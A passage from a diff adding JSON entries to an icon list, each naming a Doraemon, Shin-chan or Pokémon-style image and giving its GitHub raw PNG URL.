"Doraemon-1001", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1001.png" + }, + { + "name": "Doraemon-1002", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1002.png" + }, + { + "name": "Doraemon-1003", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1003.png" + }, + { + "name": "Doraemon-1004", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1004.png" + }, + { + "name": "Doraemon-1005", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1005.png" + }, + { + "name": "Doraemon-1006", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1006.png" + }, + { + "name": "Doraemon-1007", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1007.png" + }, + { + "name": "Doraemon-1008", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1008.png" + }, + { + "name": "Doraemon-1009", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1009.png" + }, + { + "name": "Doraemon-1010", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1010.png" + }, + { + "name": "Doraemon-1011", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1011.png" + }, + { + "name": "Doraemon-1012", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1012.png" + }, + { + "name": "Doraemon-1013", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1013.png" + }, + { + "name": "Doraemon-1014", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1014.png" + }, + { + "name": "Doraemon-1015", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1015.png" + }, + { + "name": "Doraemon-1016", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1016.png" + }, + { + "name": "Doraemon-1017", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1017.png" + }, + { + "name": "Doraemon-1018", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1018.png" + }, + { + "name": "Doraemon-1019", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1019.png" + }, + { + "name": "Doraemon-1020", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1020.png" + }, + { + "name": "Doraemon-1021", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1021.png" + }, + { + "name": "Doraemon-1022", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1022.png" + }, + { + "name": "Doraemon-1023", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1023.png" + }, + { + "name": "Doraemon-1024", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1024.png" + }, + { + "name": "Doraemon-1025", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1025.png" + }, + { + "name": "Doraemon-1026", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1026.png" + }, + { + "name": "Doraemon-1027", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1027.png" + }, + { + "name": "Doraemon-1028", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1028.png" + }, + { + "name": "Doraemon-1029", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1029.png" + }, + { + "name": "Doraemon-1030", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1030.png" + }, + { + "name": "Doraemon-1031", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1031.png" + }, + { + "name": "Doraemon-1032", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1032.png" + }, + { + "name": "Doraemon-1033", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1033.png" + }, + { + "name": "Doraemon-1034", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1034.png" + }, + { + "name": "Doraemon-1035", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1035.png" + }, + { + "name": "Doraemon-1036", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1036.png" + }, + { + "name": "Doraemon-1037", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1037.png" + }, + { + "name": "Doraemon-1038", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1038.png" + }, + { + "name": "Doraemon-1039", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1039.png" + }, + { + "name": "Doraemon-1040", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1040.png" + }, + { + "name": "Doraemon-1041", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1041.png" + }, + { + "name": "Doraemon-1042", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1042.png" + }, + { + "name": "Doraemon-1043", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1043.png" + }, + { + "name": "Doraemon-1044", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1044.png" + }, + { + "name": "Doraemon-1045", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1045.png" + }, + { + "name": "Doraemon-1046", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1046.png" + }, + { + "name": "Doraemon-1047", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1047.png" + }, + { + "name": "Doraemon-1048", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1048.png" + }, + { + "name": "Doraemon-1049", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1049.png" + }, + { + "name": "Doraemon-1050", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1050.png" + }, + { + "name": "Doraemon-1051", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1051.png" + }, + { + "name": "Doraemon-1052", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1052.png" + }, + { + "name": "Doraemon-1053", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1053.png" + }, + { + "name": "Doraemon-1054", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1054.png" + }, + { + "name": "Doraemon-1055", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1055.png" + }, + { + "name": "Doraemon-1056", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1056.png" + }, + { + "name": "Doraemon-1057", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1057.png" + }, + { + "name": "Doraemon-1058", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1058.png" + }, + { + "name": "Doraemon-1059", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1059.png" + }, + { + "name": "Doraemon-1060", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1060.png" + }, + { + "name": "Doraemon-1061", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1061.png" + }, + { + "name": "Doraemon-1062", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1062.png" + }, + { + "name": "Doraemon-1063", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1063.png" + }, + { + "name": "Doraemon-1064", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1064.png" + }, + { + "name": "Doraemon-1065", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1065.png" + }, + { + "name": "Doraemon-1066", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1066.png" + }, + { + "name": "Doraemon-1067", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1067.png" + }, + { + "name": "Doraemon-1068", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1068.png" + }, + { + "name": "Doraemon-1069", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1069.png" + }, + { + "name": "Doraemon-1070", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1070.png" + }, + { + "name": "Doraemon-1071", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1071.png" + }, + { + "name": "Doraemon-1072", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1072.png" + }, + { + "name": "Doraemon-1073", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1073.png" + }, + { + "name": "Doraemon-1074", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1074.png" + }, + { + "name": "Doraemon-1075", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1075.png" + }, + { + "name": "Doraemon-1076", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1076.png" + }, + { + "name": "Doraemon-1077", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1077.png" + }, + { + "name": "Doraemon-1078", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1078.png" + }, + { + "name": "Doraemon-1079", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1079.png" + }, + { + "name": "Doraemon-1080", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1080.png" + }, + { + "name": "Doraemon-1081", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1081.png" + }, + { + "name": "Doraemon-1082", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1082.png" + }, + { + "name": "Doraemon-1083", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1083.png" + }, + { + "name": "Doraemon-1084", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1084.png" + }, + { + "name": "Doraemon-1085", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1085.png" + }, + { + "name": "Doraemon-1086", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1086.png" + }, + { + "name": "Doraemon-1087", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1087.png" + }, + { + "name": "Doraemon-1088", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1088.png" + }, + { + "name": "Doraemon-1089", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1089.png" + }, + { + "name": "Doraemon-1090", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1090.png" + }, + { + "name": "Doraemon-1091", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1091.png" + }, + { + "name": "Doraemon-1092", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1092.png" + }, + { + "name": "Doraemon-1093", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1093.png" + }, + { + "name": "Doraemon-1094", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1094.png" + }, + { + "name": "Doraemon-1095", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1095.png" + }, + { + "name": "Doraemon-1096", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1096.png" + }, + { + "name": "Doraemon-1097", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1097.png" + }, + { + "name": "Doraemon-1098", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1098.png" + }, + { + "name": "Doraemon-1099", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1099.png" + }, + { + "name": "Doraemon-1100", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/doraemon/Doraemon-1100.png" + }, + { + "name": "Shin-chan-1001", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1001.png" + }, + { + "name": "Shin-chan-1002", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1002.png" + }, + { + "name": "Shin-chan-1003", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1003.png" + }, + { + "name": "Shin-chan-1004", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1004.png" + }, + { + "name": "Shin-chan-1005", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1005.png" + }, + { + "name": "Shin-chan-1006", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1006.png" + }, + { + "name": "Shin-chan-1007", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1007.png" + }, + { + "name": "Shin-chan-1008", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1008.png" + }, + { + "name": "Shin-chan-1009", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1009.png" + }, + { + "name": "Shin-chan-1010", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1010.png" + }, + { + "name": "Shin-chan-1011", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1011.png" + }, + { + "name": "Shin-chan-1012", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1012.png" + }, + { + "name": "Shin-chan-1013", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1013.png" + }, + { + "name": "Shin-chan-1014", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1014.png" + }, + { + "name": "Shin-chan-1015", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1015.png" + }, + { + "name": "Shin-chan-1016", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1016.png" + }, + { + "name": "Shin-chan-1017", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1017.png" + }, + { + "name": "Shin-chan-1018", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1018.png" + }, + { + "name": "Shin-chan-1019", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1019.png" + }, + { + "name": "Shin-chan-1020", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1020.png" + }, + { + "name": "Shin-chan-1021", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1021.png" + }, + { + "name": "Shin-chan-1022", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1022.png" + }, + { + "name": "Shin-chan-1023", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1023.png" + }, + { + "name": "Shin-chan-1024", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1024.png" + }, + { + "name": "Shin-chan-1025", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1025.png" + }, + { + "name": "Shin-chan-1026", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1026.png" + }, + { + "name": "Shin-chan-1027", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1027.png" + }, + { + "name": "Shin-chan-1028", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1028.png" + }, + { + "name": "Shin-chan-1029", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1029.png" + }, + { + "name": "Shin-chan-1030", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1030.png" + }, + { + "name": "Shin-chan-1031", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1031.png" + }, + { + "name": "Shin-chan-1032", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1032.png" + }, + { + "name": "Shin-chan-1033", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1033.png" + }, + { + "name": "Shin-chan-1034", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1034.png" + }, + { + "name": "Shin-chan-1035", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1035.png" + }, + { + "name": "Shin-chan-1036", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1036.png" + }, + { + "name": "Shin-chan-1037", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1037.png" + }, + { + "name": "Shin-chan-1038", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1038.png" + }, + { + "name": "Shin-chan-1039", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1039.png" + }, + { + "name": "Shin-chan-1040", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1040.png" + }, + { + "name": "Shin-chan-1041", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1041.png" + }, + { + "name": "Shin-chan-1042", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1042.png" + }, + { + "name": "Shin-chan-1043", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1043.png" + }, + { + "name": "Shin-chan-1044", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1044.png" + }, + { + "name": "Shin-chan-1045", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1045.png" + }, + { + "name": "Shin-chan-1046", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1046.png" + }, + { + "name": "Shin-chan-1047", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1047.png" + }, + { + "name": "Shin-chan-1048", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1048.png" + }, + { + "name": "Shin-chan-1049", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1049.png" + }, + { + "name": "Shin-chan-1050", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1050.png" + }, + { + "name": "Shin-chan-1051", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1051.png" + }, + { + "name": "Shin-chan-1052", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1052.png" + }, + { + "name": "Shin-chan-1053", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1053.png" + }, + { + "name": "Shin-chan-1054", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1054.png" + }, + { + "name": "Shin-chan-1055", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1055.png" + }, + { + "name": "Shin-chan-1056", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1056.png" + }, + { + "name": "Shin-chan-1057", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1057.png" + }, + { + "name": "Shin-chan-1058", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1058.png" + }, + { + "name": "Shin-chan-1059", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1059.png" + }, + { + "name": "Shin-chan-1060", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1060.png" + }, + { + "name": "Shin-chan-1061", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1061.png" + }, + { + "name": "Shin-chan-1062", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1062.png" + }, + { + "name": "Shin-chan-1063", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1063.png" + }, + { + "name": "Shin-chan-1064", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1064.png" + }, + { + "name": "Shin-chan-1065", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1065.png" + }, + { + "name": "Shin-chan-1066", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1066.png" + }, + { + "name": "Shin-chan-1067", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1067.png" + }, + { + "name": "Shin-chan-1068", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1068.png" + }, + { + "name": "Shin-chan-1069", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1069.png" + }, + { + "name": "Shin-chan-1070", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1070.png" + }, + { + "name": "Shin-chan-1071", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1071.png" + }, + { + "name": "Shin-chan-1072", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1072.png" + }, + { + "name": "Shin-chan-1073", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1073.png" + }, + { + "name": "Shin-chan-1074", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1074.png" + }, + { + "name": "Shin-chan-1075", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1075.png" + }, + { + "name": "Shin-chan-1076", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1076.png" + }, + { + "name": "Shin-chan-1077", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1077.png" + }, + { + "name": "Shin-chan-1078", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1078.png" + }, + { + "name": "Shin-chan-1079", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1079.png" + }, + { + "name": "Shin-chan-1080", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1080.png" + }, + { + "name": "Shin-chan-1081", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1081.png" + }, + { + "name": "Shin-chan-1082", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1082.png" + }, + { + "name": "Shin-chan-1083", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1083.png" + }, + { + "name": "Shin-chan-1084", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1084.png" + }, + { + "name": "Shin-chan-1085", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1085.png" + }, + { + "name": "Shin-chan-1086", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1086.png" + }, + { + "name": "Shin-chan-1087", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1087.png" + }, + { + "name": "Shin-chan-1088", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1088.png" + }, + { + "name": "Shin-chan-1089", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1089.png" + }, + { + "name": "Shin-chan-1090", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1090.png" + }, + { + "name": "Shin-chan-1091", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1091.png" + }, + { + "name": "Shin-chan-1092", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1092.png" + }, + { + "name": "Shin-chan-1093", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1093.png" + }, + { + "name": "Shin-chan-1094", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1094.png" + }, + { + "name": "Shin-chan-1095", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1095.png" + }, + { + "name": "Shin-chan-1096", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1096.png" + }, + { + "name": "Shin-chan-1097", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1097.png" + }, + { + "name": "Shin-chan-1098", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1098.png" + }, + { + "name": "Shin-chan-1099", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1099.png" + }, + { + "name": "Shin-chan-1100", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/shin-chan/Shin-chan-1100.png" + }, + { + "name": "X001.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/X001.png" + }, + { + "name": "X002.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/X002.png" + }, + { + "name": "X003.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/X003.png" + }, + { + "name": "X004.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/X004.png" + }, + { + "name": "X005.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/X005.png" + }, + { + "name": "X006.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/X006.png" + }, + { + "name": "X007.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/X007.png" + }, + { + "name": "X008.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/X008.png" + }, + { + "name": "X009.png", + "url": 